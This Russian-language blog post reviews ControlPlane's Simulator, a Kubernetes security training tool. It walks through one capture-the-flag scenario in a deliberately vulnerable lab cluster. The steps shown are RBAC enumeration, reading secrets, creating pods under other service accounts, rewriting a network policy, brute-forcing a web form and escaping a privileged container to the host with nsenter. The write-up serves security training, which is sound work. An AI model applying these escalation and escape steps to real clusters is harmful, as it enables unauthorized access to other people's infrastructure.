Всем привет! На связи Дмитрий Силкин, DevOps-инженер компании «Флант». Ранее мы делали обзор инструментов для оценки безопасности кластера Kubernetes. Но что, если нам нужно обучить инженеров основам безопасности Kubernetes на реальных примерах и поставить процесс обучения на поток? Недавно компания ControlPlane, специализирующаяся на Cloud Native-решениях, выложила в открытый доступ Simulator — инструмент для обучения инженеров поиску уязвимостей в Kubernetes. Мы во «Фланте» решили протестировать этот симулятор и понять, насколько он перспективен и полезен.
В этой статье я расскажу, зачем нужен этот инструмент, как его настроить и установить, а также разберу его возможности. Для этого я решу один из сценариев, который предлагает Simulator. В конце обзора я оставлю своё мнение об инструменте и расскажу о ближайших планах его авторов.
Что такое Simulator и зачем он нужен
Simulator задумывался как практический способ познакомить инженеров с безопасностью контейнеров и Kubernetes. То есть это инструмент, с помощью которого можно обучать инженеров работе с уязвимостями в Kubernetes. Сами авторы Simulator называют ближайшим аналогом проект KataCoda, однако на данный момент эта платформа закрыта. Также есть похожий инструмент kube_security_lab, но сейчас он практически не развивается.
Simulator развёртывает готовый кластер Kubernetes в вашей учётной записи AWS: запускает сценарии, которые неправильно настраивают его или делают его уязвимым, и обучает устранению этих уязвимостей. Это сценарии различной сложности формата Capture the Flag, в которых инженеру нужно набрать определённое количество флагов для выполнения задания. На данный момент существует девять сценариев, разработанных для Cloud Native Computing Foundation (CNCF). Можно создать и свой сценарий: для этого необходимо описать его в виде Ansible Playbook.
Сценарии направлены на то, чтобы убедиться, что стандартные средства безопасности настроены должным образом. Такая базовая настройка Kubernetes должна быть проведена ещё до того, как разработчики приложения получат доступ к системе. Поэтому в первую очередь этот инструмент создавался для инженеров по безопасности, которые занимаются защитой своей платформы. Но он будет полезен и другим специалистам, связанным с безопасностью приложений, работающих с Kubernetes: DevSecOps-инженерам, разработчикам приложений и т.д.
Как пользоваться Simulator
Разберём работу Simulator по следующим этапам:
настройка и установка;
развёртывание инфраструктуры;
выбор сценария;
игра;
удаление созданной инфраструктуры.
Настройка и установка
Вся работа происходит в AWS, поэтому нам понадобится аккаунт в облаке. Для начала скачиваем актуальную версию Simulator и выполняем следующие действия в нашем AWS-аккаунте:
Создадим для тестовых целей отдельного пользователя controlplaneio-simulator.
Назначим созданному пользователю AWS IAM Permissions, указанные в документации.
Создадим пару ключей
AWS_ACCESS_KEY_ID
иAWS_SECRET_ACCESS_KEY
. Сохраним их, так как далее их будет использовать Simulator.Назначим Default VPC в облаке. Если не сделать этого, Simulator будет сваливаться в ошибку при развёртывании инфраструктуры.
Теперь можно создать конфигурационный файл для Simulator. Для минимальной настройки нужно задать имя бакета S3, в котором будет храниться Terraform-state. Наш бакет будет называться simulator-terraform-state
:
simulator config --bucket simulator-terraform-state
По умолчанию конфигурация появится в $HOME/.simulator
.
Далее выполним следующие действия:
Укажем регион и сохранённые ранее ключи, чтобы Simulator имел доступ к аккаунту AWS.
Создадим бакет S3.
Скачаем необходимые контейнеры (для этого на нашей машине должен быть предварительно установлен Docker).
Создадим образы виртуальных машин AMI, на основании которых Simulator будет развёртывать кластер Kubernetes.
export AWS_REGION=eu-central-1
export AWS_ACCESS_KEY_ID=<ID>
export AWS_SECRET_ACCESS_KEY=<KEY>
simulator bucket create
simulator container pull
simulator ami build bastion
simulator ami build k8s
Развёртывание инфраструктуры
Теперь можно выполнить развёртывание инфраструктуры для выполнения сценариев. Это займёт около пяти минут:
simulator infra create
Кластер Kubernetes готов. В AWS появились следующие виртуальные машины:
Выбор сценария
Посмотрим доступные сценарии с помощью команды simulator scenario list
:
Мы увидим таблицу с доступными сценариями. В ней можно найти идентификатор, имя, описание, категорию и сложность сценариев. На данный момент есть три уровня сложности:
Easy — лёгкий. В таких сценариях по ходу выполнения заданий появляются подсказки, а инженеру достаточно базовых знаний об основных сущностях Kubernetes.
Medium — средний. Здесь появляются задания по таким сущностям, как Pod Security Admission, Kyverno и Cilium.
Complex — сложный. В этом случае даётся очень мало вводной информации, тут уже потребуются глубокие знания как о Kubernetes, так и о смежных технологиях: в некоторых сценариях используются Dex, Elasticsearch, Fluent Bit и прочее.
Игра
Чтобы разобрать, как работает Simulator, возьмём для примера один простой CTF-сценарий — Seven Seas. Для его установки вводим следующую команду, куда подставляем ID сценария:
simulator install seven-seas
Когда установка завершится, необходимо подключиться к кластеру как пользователь:
cd /opt/simulator/player
ssh -F simulator_config bastion
При входе получим приветственное сообщение:
При запуске сценария нам нужно разобраться, к каким ресурсам у нас есть доступ и что нам следует искать. Начнём с поиска по файловой системе. Из интересного — здесь существует домашняя директория пользователя swashbyter
. Посмотрим, что в ней:
$ ls /home
swashbyter
$ cd /home/swashbyter
$ ls -alh
total 40K
drwxr-xr-x 1 swashbyter swashbyter 4.0K Feb 18 08:53 .
drwxr-xr-x 1 root root 4.0K Aug 23 07:55 ..
-rw-r--r-- 1 swashbyter swashbyter 220 Aug 5 2023 .bash_logout
-rw-r--r-- 1 swashbyter swashbyter 3.5K Aug 5 2023 .bashrc
drwxr-x--- 3 swashbyter swashbyter 4.0K Feb 18 08:53 .kube
-rw-r--r-- 1 swashbyter swashbyter 807 Aug 5 2023 .profile
-rw-rw---- 1 swashbyter swashbyter 800 Aug 18 2023 diary.md
-rw-rw---- 1 swashbyter swashbyter 624 Aug 18 2023 treasure-map-1
-rw-rw---- 1 swashbyter swashbyter 587 Aug 18 2023 treasure-map-7
Здесь мы обратили внимание на три файла: diary.md
, treasure-map-1
и treasure-map-7
. Посмотрим содержимое файла diary.md
:
В этом файле содержится задание. Нам нужно найти недостающие фрагменты treasure-map со второго по шестой. Получается, что treasure-map — это приватный SSH-ключ в формате Base64. Задача будет выполнена, если мы соберём все оставшиеся фрагменты в кластере, подключимся с помощью ключа к Royal Fortune и там найдём флаг. Также у нас есть подсказка, где указан путь, по которому нам надо проследовать:
На этой карте отмечены namespaces, по которым мы должны пройти, чтобы собрать все фрагменты.
Декодируем фрагмент, который у нас есть. Убедимся, что в нём действительно хранится часть ключа:
Идём дальше. Судя по printenv
, мы находимся в контейнере:
$ printenv
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_SERVICE_PORT=443
THE_WAY_PORT_80_TCP=tcp://10.105.241.164:80
HOSTNAME=fancy
HOME=/home/swashbyter
OLDPWD=/
THE_WAY_SERVICE_HOST=10.105.241.164
TERM=xterm
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
THE_WAY_SERVICE_PORT=80
THE_WAY_PORT=tcp://10.105.241.164:80
THE_WAY_PORT_80_TCP_ADDR=10.105.241.164
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_HOST=10.96.0.1
THE_WAY_PORT_80_TCP_PORT=80
PWD=/home/swashbyter
THE_WAY_PORT_80_TCP_PROTO=tcp
Попробуем получить список подов в текущем namespace:
$ kubectl get pods
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:arctic:swashbyter" cannot list resource "pods" in API group "" in the namespace "arctic"
Прав на это у нас нет, но мы выяснили, что сервисный аккаунт swashbyter
находится в пространстве имён arctic
, с которого и начинается наше путешествие. Посмотрим, какие у нас есть права в этом namespace:
$ kubectl auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
namespaces [] [] [get list]
Из интересного — у нас есть только права на просмотр namespaces в кластере:
$ kubectl get ns
NAME STATUS AGE
arctic Active 51m
default Active 65m
indian Active 51m
kube-node-lease Active 65m
kube-public Active 65m
kube-system Active 65m
kyverno Active 51m
north-atlantic Active 51m
north-pacific Active 51m
south-atlantic Active 51m
south-pacific Active 51m
southern Active 51m
Пройдёмся командой auth can-i --list
в пространстве имён north-atlantic
, так как он следующий по пути. Вдруг у нас там есть дополнительные права:
$ kubectl auth can-i --list -n north-atlantic
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
namespaces [] [] [get list]
secrets [] [] [get list]
Здесь у нас есть права на просмотр Secrets. В одном из них находится treasure-map-2:
$ kubectl get secrets -n north-atlantic
NAME TYPE DATA AGE
treasure-map-2 Opaque 1 59m
$ kubectl get secrets -n north-atlantic treasure-map-2 -o yaml
apiVersion: v1
data:
treasure-map-2: VHlSWU1OMzRaSkEvSDlBTk4wQkZHVTFjSXNvSFYwWGpzanVSZi83V0duY2tWY1lBcTNMbzBCL0ZaVFFGWm41Tk1OenE5UQplejdvZ1RyMmNLalNXNVh5VlBsdmdnc0Q5dHJ4ZkFoOSttNEN3cWpBMWN0c1RBVG1pQUZxVzJxNU1KSG51bXNrSGZBUzFvCkY5RWF3ZEExNkJQRFF3U3Rma2pkYS9rQjNyQWhDNWUrYlFJcUZydkFpeFUramh3c2RRVS9MVitpWjZYUmJybjBUL20wZTQKUytGT2t6bDhUTkZkOTFuK01BRFd3dktzTmd6TXFWZkwwL1NXRGlzaXM0U2g1NFpkYXB0VVM2MG5rTUlnWDNzUDY1VUZYRQpESWpVSjkzY1F2ZkxZMFc0ZWVIcllhYzJTWjRqOEtlU0g4d2ZsVFVveTg4T2NGbDdmM0pQM29KMU1WVkZWckg4TDZpTlNMCmNBQUFkSXp5cWlVczhxb2xJQUFBQUhjM05vTFhKellRQUFBZ0VBc05vd1A4amxGZUIrUUEzTGY1bkREa3pBODA5OW9PTzIKOGU3bEdlVHNrNjFtRGpRa3JIc1FneGt4YjBRcEJVTW9leGl2Y3BLWGt3bStuU0x4YmpVbjVJVzhURlloL3lneWtXOFViTQ==
kind: Secret
metadata:
creationTimestamp: "2024-02-18T08:50:11Z"
name: treasure-map-2
namespace: north-atlantic
resourceVersion: "1973"
uid: f2955e2a-47a7-4f99-98db-0acff328cd7f
type: Opaque
Сохраним его, он нам понадобится позже.
Двигаемся дальше. Теперь посмотрим доступные права в пространстве имен south-atlantic
:
$ kubectl auth can-i --list -n south-atlantic
Resources Non-Resource URLs Resource Names Verbs
pods/exec [] [] [create delete get list patch update watch]
pods [] [] [create delete get list patch update watch]
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
namespaces [] [] [get list]
serviceaccounts [] [] [get list]
Здесь у нас есть права на просмотр, создание подов и управление ими, а также на чтение сервисных аккаунтов. Проверим наличие подов и сервисных аккаунтов:
$ kubectl get pods -n south-atlantic
No resources found in south-atlantic namespace.
$ kubectl get sa -n south-atlantic
NAME SECRETS AGE
default 0 63m
invader 0 63m
Подов в namespace нет, но есть сервисный аккаунт invader
. Попробуем создать под в этом namespace, который запустится под этим сервисным аккаунтом. Возьмем образ kubectl из репозитория разработчиков инструмента. Опишем манифест и применим его:
apiVersion: v1
kind: Pod
metadata:
name: invader
namespace: south-atlantic
spec:
serviceAccountName: invader
containers:
- image: docker.io/controlplaneoffsec/kubectl:latest
command: ["sleep", "2d"]
name: tools
imagePullPolicy: IfNotPresent
securityContext:
allowPrivilegeEscalation: false
Exec’ом проникнем в контейнер и посмотрим, что у него есть в файловой системе:
kubectl exec -it -n south-atlantic invader sh
Defaulted container "blockade-ship" out of: blockade-ship, tools
/ # ls
bin dev home media opt root sbin sys usr
contraband etc lib mnt proc run srv tmp var
Здесь вызывает интерес папка contraband
— проверим, что в ней лежит:
/ # ls contraband/
treasure-map-3
/ # cat contraband/treasure-map-3
Там находится третий фрагмент — сохраним его. Вместе с blockade-ship также создался sidecar-контейнер tools. Попробуем зайти в него. Здесь есть утилита kubectl, и мы знаем, что следующий пункт путешествия — southern-ocean
. Проверим права на него:
$ kubectl exec -it -n south-atlantic invader -c tools bash
root@invader:~# kubectl auth can-i --list -n southern
Resources Non-Resource URLs Resource Names Verbs
pods/exec [] [] [create]
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
pods [] [] [get list]
Примерно такие же права, как в предыдущем namespace. Значит, надо посмотреть поды в namespace и выполнить exec. Далее смотрим файловую систему на наличие фрагмента карты. После поиска по файловой системе, видим, что существует директория /mnt/.cache
. Поищем в ней четвёртый фрагмент. Здесь есть — сохраним:
root@invader:~# kubectl exec -it -n southern whydah-galley bash
root@whydah-galley:/# ls -alh /mnt
total 12K
drwxr-xr-x 3 root root 4.0K Feb 18 08:50 .
drwxr-xr-x 1 root root 4.0K Feb 18 08:50 ..
drwxr-xr-x 13 root root 4.0K Feb 18 08:50 .cache
root@whydah-galley:~# cd /mnt/.cache/
root@whydah-galley:/mnt/.cache# ls -alhR | grep treasur
-rw-r--r-- 1 root root 665 Feb 18 08:50 treasure-map-4
-rw-r--r-- 1 root root 89 Feb 18 08:50 treasure-chest
Следующая точка — indian
. Посмотрим, какие у нас там есть разрешения:
root@whydah-galley:/mnt/.cache# kubectl auth can-i --list -n indian
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
networkpolicies.networking.k8s.io [] [] [get list patch update]
configmaps [] [] [get list]
namespaces [] [] [get list]
pods [] [] [get list]
services [] [] [get list]
pods/log [] [] [get]
В indian
мы уже можем смотреть и configmaps, и даже логи подов. Пройдём по уже знакомой схеме: сначала проверим, какие поды запущены в namespace. Потом посмотрим логи пода, что за сервисы там есть, а также содержимое configmaps:
root@whydah-galley:/mnt/.cache# kubectl get pods -n indian
NAME READY STATUS RESTARTS AGE
adventure-galley 1/1 Running 0 114m
root@whydah-galley:/mnt/.cache# kubectl logs -n indian adventure-galley
2024/02/18 08:51:08 starting server on :8080
root@whydah-galley:/mnt/.cache# kubectl get svc -n indian
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
crack-in-hull ClusterIP 10.99.74.124 <none> 8080/TCP 115m
root@whydah-galley:/mnt/.cache# kubectl get cm -n indian options -o yaml
apiVersion: v1
data:
action: |
- "use"
- "fire"
- "launch"
- "throw"
object: |
- "digital-parrot-clutching-a-cursed-usb"
- "rubber-chicken-with-a-pulley-in-the-middle"
- "cyber-trojan-cracking-cannonball"
- "hashjack-hypertext-harpoon"
kind: ConfigMap
root@whydah-galley:/mnt/.cache# curl -v crack-in-hull.indian.svc.cluster.local:8080
* processing: crack-in-hull.indian.svc.cluster.local:8080
* Trying 10.99.74.124:8080...
Пока непонятно, что делать с содержимым configmap, поэтому пойдём дальше. Видим, что сервер запущен на порте 8080, но почему-то при обращении к сервису мы не получаем ответ. Может быть, есть правила, ограничивающие доступ по этому порту?
root@whydah-galley:/mnt/.cache# kubectl get networkpolicies -n indian
NAME POD-SELECTOR AGE
blockade ship=adventure-galley 116m
root@whydah-galley:/mnt/.cache# kubectl get networkpolicies -n indian blockade -o yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
creationTimestamp: "2024-02-18T08:50:15Z"
generation: 1
name: blockade
namespace: indian
resourceVersion: "2034"
uid: 9c97e41c-6f77-4666-a3f3-39112f502f84
spec:
ingress:
- from:
- podSelector: {}
podSelector:
matchLabels:
ship: adventure-galley
policyTypes:
- Ingress
Да, здесь есть ограничивающее правило. Оно запрещает все входящие соединения в поды, у которых есть лейбл ship: adventure-galley
. Поэтому нужно разрешить входящий трафик:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
creationTimestamp: "2024-02-18T08:50:15Z"
generation: 3
name: blockade
namespace: indian
resourceVersion: "20773"
uid: 9c97e41c-6f77-4666-a3f3-39112f502f84
spec:
ingress:
- {}
podSelector:
matchLabels:
ship: adventure-galley
policyTypes:
- Ingress
Теперь сервер отдаёт нам HTML-страницу на порте 8080:
root@whydah-galley:/mnt/.cache# curl crack-in-hull.indian.svc.cluster.local:8080
<!DOCTYPE html>
<html>
<head>
<h3>Adventure Galley</h3>
<meta charset="UTF-8" />
</head>
<body>
<p>You see a weakness in the Adventure Galley. Perform an Action with an Object to reduce the pirate ship to Logs.</p>
<div>
<form method="POST" action="/">
<input type="text" id="Action" name="a" placeholder="Action"><br>
<input type="text" id="Object" name="o" placeholder="Object"><br>
<button>Enter</button>
</form>
</div>
</body>
</html>
Сервер предлагает нам отправлять POST-запросы в виде пар «действие — объект». Какое-то из этих действий в итоге приведёт к тому, что в логе приложения появятся новые сообщения. Как раз здесь нам пригодится содержимое configmap, полученное в одном из предыдущих шагов:
apiVersion: v1
data:
action: |
- "use"
- "fire"
- "launch"
- "throw"
object: |
- "digital-parrot-clutching-a-cursed-usb"
- "rubber-chicken-with-a-pulley-in-the-middle"
- "cyber-trojan-cracking-cannonball"
- "hashjack-hypertext-harpoon"
kind: ConfigMap
В данном configmap представлены объекты, над которыми можно совершить различные действия: «использовать», «сжечь», «запустить» и «бросить».
Попробуем применить каждое действие к каждому объекту с помощью bash-скрипта:
root@whydah-galley:/mnt/.cache# A=("use" "fire" "launch" "throw"); O=("digital-parrot-clutching-a-cursed-usb" "rubber-chicken-with-a-pulley-in-the-middle" "cyber-trojan-cracking-cannonball" "hashjack-hypertext-harpoon"); for a in "{O[@]}"; do curl -X POST -d "a=o" http://crack-in-hull.indian.svc.cluster.local:8080/; done; done
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
DIRECT HIT! It looks like something fell out of the hold.
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
NO EFFECT
На каждый POST-запрос веб-сервер adventure-galley
отдавал ответ об «эффективности» запроса. В итоге все запросы, кроме одного, не вызвали никакого эффекта. Может быть, приложение что-то записало в свой лог? Давайте посмотрим:
root@whydah-galley:/mnt/.cache# kubectl logs -n indian adventure-galley
2024/02/18 08:51:08 starting server on :8080
2024/02/18 10:58:36 treasure-map-5: qm9IZskNawm5JCxuntCHg2...
Adventure-galley
отдал нам пятый фрагмент карты. Остался последний регион — south-pacific
. Как всегда, сначала проверим права в данном namespace:
root@whydah-galley:/mnt/.cache# kubectl auth can-i --list -n south-pacific
Resources Non-Resource URLs Resource Names Verbs
pods/exec [] [] [create]
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
deployments.apps [] [] [get list create patch update delete]
namespaces [] [] [get list]
pods [] [] [get list]
serviceaccounts [] [] [get list]
Из интересного: у нас есть права на управление жизненным циклом deployment. Проверим, какой сервисный аккаунт есть в данном namespace и запустим deployment под ним:
apiVersion: apps/v1
kind: Deployment
metadata:
name: invader
labels:
app: invader
namespace: south-pacific
spec:
selector:
matchLabels:
app: invader
replicas: 1
template:
metadata:
labels:
app: invader
spec:
serviceAccountName: port-finder
containers:
- name: invader
image: docker.io/controlplaneoffsec/kubectl:latest
command: ["sleep", "2d"]
imagePullPolicy: IfNotPresent
Попробуем создать deployment из манифеста. В этот раз запустить сущность не получилось из-за нарушения политик Pod Security Standards. Deployment при этом создался:
root@whydah-galley:~# kubectl apply -f deploy.yaml
Warning: would violate PodSecurity "restricted:latest": allowPrivilegeEscalation != false (container "invader" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "invader" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "invader" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "invader" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost")
deployment.apps/invader created
root@whydah-galley:~# kubectl get deployments -n south-pacific
NAME READY UP-TO-DATE AVAILABLE AGE
invader 0/1 0 0 2m33s
Включим в манифест требуемые securityContexts и seccomp profile и применим его.
Забегая вперёд
Образ, который будет использоваться на последнем шаге, должен иметь установленные kubectl, jq, ssh. Так как контейнер будет запускаться с правами обычного пользователя, возможности их поставить вручную не будет.
Предупреждений по безопасности больше нет, и invader
запустился:
apiVersion: apps/v1
kind: Deployment
metadata:
name: invader
labels:
app: invader
namespace: south-pacific
spec:
selector:
matchLabels:
app: invader
replicas: 1
template:
metadata:
labels:
app: invader
spec:
serviceAccountName: port-finder
securityContext:
seccompProfile:
type: RuntimeDefault
containers:
- name: invader
image: lawellet/simulator-invader:1.0.0
command: ["sleep", "2d"]
imagePullPolicy: IfNotPresent
securityContext:
allowPrivilegeEscalation: false
capabilities:
drop:
- "ALL"
runAsNonRoot: true
runAsUser: 1000
runAsGroup: 2000
root@whydah-galley:~# kubectl get pods -n south-pacific
NAME READY STATUS RESTARTS AGE
invader-7db84dccd4-5m6g2 1/1 Running 0 29s
Зайдём в контейнер и проверим права используемого сервисного аккаунта на пространство имен south-pacific
:
root@whydah-galley:~# kubectl exec -it -n south-pacific invader-7db84dccd4-5m6g2 bash
swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl auth can-i --list -n south-pacific
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get list]
Посмотрим Secrets: тут есть treasure-map-6 — последний недостающий фрагмент:
swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl get secrets -n south-pacific
NAME TYPE DATA AGE
treasure-map-6 Opaque 1 178m
swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl get secrets -n south-pacific treasure-map-6 -o yaml
apiVersion: v1
data:
treasure-map-6: c05iTlViNmxm…
Сохраним последний фрагмент и объединим найденные ранее части карты в один файл.
Последний пункт в нашем путешествии — это north-pacific
. Проверяем права на одноимённый namespace:
swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl auth can-i --list -n north-pacific
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
services [] [] [get list]
Кажется, что нам надо зайти на сервер по SSH, используя собранный на предыдущих шагах ключ:
swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl get svc -n north-pacific
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
plot-a-course ClusterIP 10.111.116.224 <none> 22/TCP 3h10m
Создаём в этом контейнере собранный ключ и подключаемся с его помощью к целевой машине:
Теперь осталось только найти флаг. Для начала проверим, в контейнере ли мы находимся. Посмотрим список процессов:
Судя по тому, что мы видим процессы, запущенные на хосте, мы оказались в привилегированном контейнере. Попробуем теперь посмотреть Linux Capabilities, доступные контейнеру (предварительно установив capsh):
root@royal-fortune:/# apt update && apt-get install -y libcap2-bin
root@royal-fortune:~# capsh --print
Current: =ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore
Ambient set =
Current IAB:
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: UNCERTAIN (0)
Наш процесс имеет все возможные Linux Capabilities. Значит, мы можем попробовать зайти в Host PID Namespace:
root@royal-fortune:~# nsenter -t 1 -i -u -n -m bash
root@master-1:/#
И в итоге мы оказались на узле. Здесь же находится наш финальный флаг. Сценарий завершён:
root@master-1:/# ls -al /root
total 32
drwx------ 4 root root 4096 Feb 18 12:58 .
drwxr-xr-x 19 root root 4096 Feb 18 08:33 ..
-rw------- 1 root root 72 Feb 18 12:58 .bash_history
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
drwx------ 2 root root 4096 Feb 15 15:47 .ssh
-rw-r--r-- 1 root root 41 Feb 18 08:50 flag.txt
drwx------ 4 root root 4096 Feb 15 15:48 snap
root@master-1:/# cat /root/flag.txt
flag_ctf{TOTAL_MASTERY_OF_THE_SEVEN_SEAS}
В ходе выполнения заданий мы работали со следующими сущностями Kubernetes:
Kubernetes Secrets;
container images;
Pod Security Standards;
network policy;
pod logs;
service accounts;
RBAC;
sidecar containers;
Разобранный сценарий наглядно показывает: если некорректно распределить роли (выдали прав больше, чем нужно для работы приложения) на сервисные аккаунты, а также использовать привилегированные контейнеры, это может привести к возможности побега из контейнера и попадания на хост.
Удаление созданной инфраструктуры
Осталось удалить созданную инфраструктуру:
simulator infra destroy
Эта команда удалит виртуальные машины, на которых был развёрнут кластер Kubernetes.
Если больше пользоваться Simulator мы не планируем, также нужно удалить AMI-образы и бакет с terraform-state
:
simulator ami delete bastion
simulator ami delete simulator-master
simulator ami delete simulator-internal
simulator bucket delete simulator-terraform-state
Итоги
Simulator от ControlPlane — относительно новый инструмент, и у создателей на него большие планы. В будущем они хотят реализовать ещё больше CTF-сценариев, добавить возможность развёртывать необходимую инфраструктуру локально с помощью kind, а также развивать интерактивность процесса обучения: мультиплеер, сохранение активности игроков, таблица лидеров и так далее.
Нам же данная платформа показалась очень интересной и перспективной для обучения всевозможным эксплойтам и уязвимостям в кластере Kubernetes, и мы обязательно будем следить за её развитием.
P. S.
Читайте также в нашем блоге: